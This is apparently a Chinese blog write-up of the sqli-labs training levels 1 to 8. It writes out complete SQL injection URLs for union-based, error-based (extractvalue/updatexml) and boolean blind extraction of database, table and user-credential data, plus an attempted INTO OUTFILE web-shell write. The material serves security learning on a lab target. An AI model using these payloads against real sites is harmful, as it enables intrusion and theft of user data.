sqli-labs_less_1-7
sqli-labs 关卡1-8,第七关不会(…
2020-03-20 14:46:33 Friday
LESS 1
尝试在id后面加上单引号,报错,id后加入双引号,输出默认内容,是单引号型的。
使用order by 查询列数(通过二分法),使用--+
来闭合单引号。+号在URL解释中一般为空格。
最后通过二分法可以查得列数为3.
给id填入一个极大的数字(数据库不存在的id值)使用unino select 1,3,3联合查询看当前页面是否右显示位置。可以看出当前页面只有3,3的值。所以联合查询的1,可以不用进行过多操作了。
通过database()
查询出当前数据库名字后,根据数据库名字查询出当前数据库的表名为users。
完整字段如下
1 | http://192.168.99.122/sqli-labs-master/Less-1/?id=999' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' --+ |
查出security数据库的表名一共右emalis,users,refer,agen什么的。不过那些都不重要,渗透测试主要是拿到管理员帐号,其他的个人信息,我们不应该去触碰。因为这是违法的。
利用爆破出来的表名users查询列名
1 | http://192.168.99.122/sqli-labs-master/Less-1/?id=999' union select 1,database(),group_concat(column_name) rom information_schema.columns where table_name='users'20--+ |
最后使用查询到的列名username,password,出用户的帐号和密码。
1 | http://192.168.99.122/sqli-labs-master/Less-1/?id=999' union select 1,group_concat(username),group_concat(password) from security.users --+ |
eric.liao
jrwen.liao
oscar.yuyu
@3109.amp
LESS 2
直接上去给它id后加个单引号,报错。测试双引号,同样报错,可以排除是单引号和双引号型的,直接试试order by,可执行所以是数值型的,同样是通过二分法测得列数为3.
其余步骤和Less 1 差不多,区别在于Less 1 需要手动闭合单引号,Less 2 无需手动闭合。
LESS 3
我先是单独使用了单引号测输出结果,但是报错。转为使用双引号测试有显示输出,但是加上order by 之后显示不正常,同时我这里没有使用–+闭合,也没有输出语法错误的提示,可以确定没有正确闭合。可能是括号引号的字符型
使用单个双引号 加单个括号 ”),结果同样如上,把双引号改成单引号,后输出正常。Less3是单引号括号型的。
其他步骤和LESS 1 一样。
LESS 4
和LESS 3区别仅在于LESS 4是双引号单括号的闭合方式“)
LESS 5
首先判断闭合,单引号报错,双引号显示默认内容,可以确定是单引号型的。
extractvalue(arg1,arg2)函数
arg1是字符串,arg2则是xpath语句。注入点就在arg2中。查询语句基本上和LESS1 union查询一致。
获取当前数据库名字
1 | http://192.168.99.122/sqli-labs-master/Less-5/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20database()),0x7e))%20--+ |
获取当前表名
1 | http://192.168.99.122/sqli-labs-master/Less-5/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),0x7e))%20--+ |
获取列名
1 | http://192.168.99.122/sqli-labs-master/Less-5/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27users%27),0x7e))%20--+ |
获取用户名和密码,因为函数的限制,要分两次来进行查询,并且输出长度最高为32。
LESS 6
和LESS 5 一样,区别在于引号闭合不同。
不过我们可以尝试updatexml()来进行注入
updatexml(arg1,arg2,arg3)
arg1为xml文档对象的名称
arg2为xpath格式的字符串
arg3为string格式,替换查找到的符合条件的数据
获取当前数据库名,余下的步骤基本和less5一致。
1 | http://192.168.99.122/sqli-labs-master/Less-6/?id=1%22%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)%20--+ |
获取表名
1 | http://192.168.99.122/sqli-labs-master/Less-6/?id=1%22%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),0x7e),1)%20--+ |
‘
获取列名
1 | http://192.168.99.122/sqli-labs-master/Less-6/?id=1%22%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27users%27),0x7e),1)%20--+ |
获取数据
1 | http://192.168.99.122/sqli-labs-master/Less-6/?id=1%22%20and%20updatexml(1,concat(0x7e,(select%20group_concat(username)%20from%20security.users%20),0x7e),1)%20%20--+ |
updatexml 和 extractvalue 函数限制一样,只有一个显示位。并且输出长度有32位限制。
LESS 7
待更新…
不成功
1 | http://192.168.99.122/sqli-labs-master/Less-7/?id=1%27))%20union%20select%201,2,3%20into%20outfile %27E:\\phpStudy\\PHPTutorial\WWW\\sqli-labs-master\\images\\123456.php%27%20--+ |
这样是成功的。
1 | http://192.168.99.122/sqli-labs-master/Less-7/?id=1%27))%20union%20select%201,2,3 |
LESS 8
先是判断闭合
是单引号闭合,使用order by判断出字段数是3,要是错误的话也只是不输出信息,没有报错。所以接着使用union,和extractvalue报错注入都没用正常输出。
使用布尔注入,一步步分解判断
1 | http://192.168.99.122/sqli-labs-master/Less-8/?id=1%27%20%20and%20(select%20count(*)%20from%20information_schema.tables%20where%20table_schema=database())%20%3E5%20--+ |
判断出当前数据库数据表数量小于5,但是大于3时有正常输出,接着用4判断,无输出。改为等于4。得出数据表数量为4.
接着使用Lenght(table_name) 判断当前表名的长度
1 | http://192.168.99.122/sqli-labs-master/Less-8/?id=1%27%20%20and%20(select%20length(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1)%20=6--+ |
数据表名长度为6
接着就要拆解数据表名了
先判断是否是小写字母开头的单词
1 | http://192.168.99.122/sqli-labs-master/Less-8/?id=1%27 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))> 97 --+ |
1 | http://192.168.99.122/sqli-labs-master/Less-8/?id=1%27 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+ |
当大于101时无回显,第一个字母为e
1 | http://192.168.99.122/sqli-labs-master/Less-8/?id=1%27%20and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),2,1))=109--+ |
测得第二个字母为m
步骤太为繁琐,需要一步步测试下去。
1 | http://192.168.99.122/sqli-labs-master/Less-8/?id=1%27%20and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),3,1))=97--+ |
第三个字母为a,ema 并且长度为6的字符串,应该就是emails了,
limit 2,1 2为第二个字段,1则为限制出输出结果数量。如果是limit 2,2的话就是输出两个字段了。
substr((select ….这里就是我们要查询的语句 limit ),1,1)第二个1为start 即该字符串所在的位置,开头。
先判断表数量,接着判断数据表长度,再判断表名,找到你想要查找信息的表之后。接着判断列数量,和列长度,再判断列名,最后判断数据。步骤一致,较为繁琐。